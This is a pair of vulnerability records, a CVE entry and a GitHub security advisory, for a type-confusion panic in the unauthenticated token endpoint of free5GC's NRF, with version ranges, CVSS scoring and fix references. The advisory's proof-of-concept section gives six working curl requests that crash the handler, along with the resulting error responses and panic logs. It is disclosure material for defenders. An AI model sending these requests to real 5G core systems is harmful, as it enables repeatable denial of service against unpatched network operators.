{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC\u0027s NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field\u0027s real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable. This vulnerability is fixed in 4.2.2."
    }
  ],
  "id": "CVE-2026-44325",
  "lastModified": "2026-05-27T17:16:37.910",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-27T17:16:37.910",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/free5gc/free5gc/issues/918"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-f8qv-7x5w-qr48"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/free5gc/nrf/commit/f7bc77daa7425506af7569f2e61c2a210f5a0423"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/free5gc/nrf/pull/83"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-755"
        },
        {
          "lang": "en",
          "value": "CWE-843"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nrf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-755",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:56:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nfree5GC\u0027s NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field\u0027s real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.\n\nNote: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.\n\n### Details\nValidated against the NRF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nrf:v4.2.1`\n- Docker validation date: 2026-03-22\n- NRF endpoint: `http://10.100.200.3:8000`\n\nRoot cause is in the access-token request parser:\n- `NFs/nrf/internal/sbi/api_accesstoken.go:52`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:87`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:98`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:100`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:112`\n\nThe model definition lives in `free5gc/openapi`:\n- `models/model_nrf_access_token_access_token_req.go:27`\n- `models/model_nrf_access_token_access_token_req.go:29`\n- `models/model_nrf_access_token_access_token_req.go:30`\n- `models/model_nrf_access_token_access_token_req.go:31`\n\nThe parser\u0027s effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error.\n\nConfirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):\n- `requesterPlmnList` -\u003e panic assigning `*models.PlmnId` to `[]models.PlmnId`\n- `requesterSnssaiList` -\u003e panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `requesterSnpnList` -\u003e panic assigning `*models.PlmnId` to `[]models.PlmnIdNid`\n- `targetSnpn` -\u003e panic assigning `*models.PlmnId` to `*models.PlmnIdNid`\n- `targetSnssaiList` -\u003e panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `targetNsiList` -\u003e panic assigning `*models.PlmnId` to `[]string`\n\n### PoC\nReproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler.\n\n1. `requesterPlmnList` -\u003e `[]models.PlmnId` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterPlmnList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n2. `requesterSnssaiList` -\u003e `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n3. `requesterSnpnList` -\u003e `[]models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterSnpnList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n4. `targetSnpn` -\u003e `*models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetSnpn={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n5. `targetSnssaiList` -\u003e `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n6. `targetNsiList` -\u003e `[]string` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetNsiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\nObserved response (per request, no body returned):\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\nNRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type:\n```\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string\nINFO][NRF][GIN] | 500 | POST | /oauth2/token |\n```\n\n### Impact\nType-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).\n\nThis is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.\n\nWhat the bug realistically gives an off-path attacker:\n- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.\n- Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time.\n- A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.\n- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history.\n\nNo Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/918\nUpstream fix: https://github.com/free5gc/nrf/pull/83",
  "id": "GHSA-f8qv-7x5w-qr48",
  "modified": "2026-05-08T22:56:03Z",
  "published": "2026-05-08T22:56:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-f8qv-7x5w-qr48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/918"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/pull/83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/commit/f7bc77daa7425506af7569f2e61c2a210f5a0423"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types"
}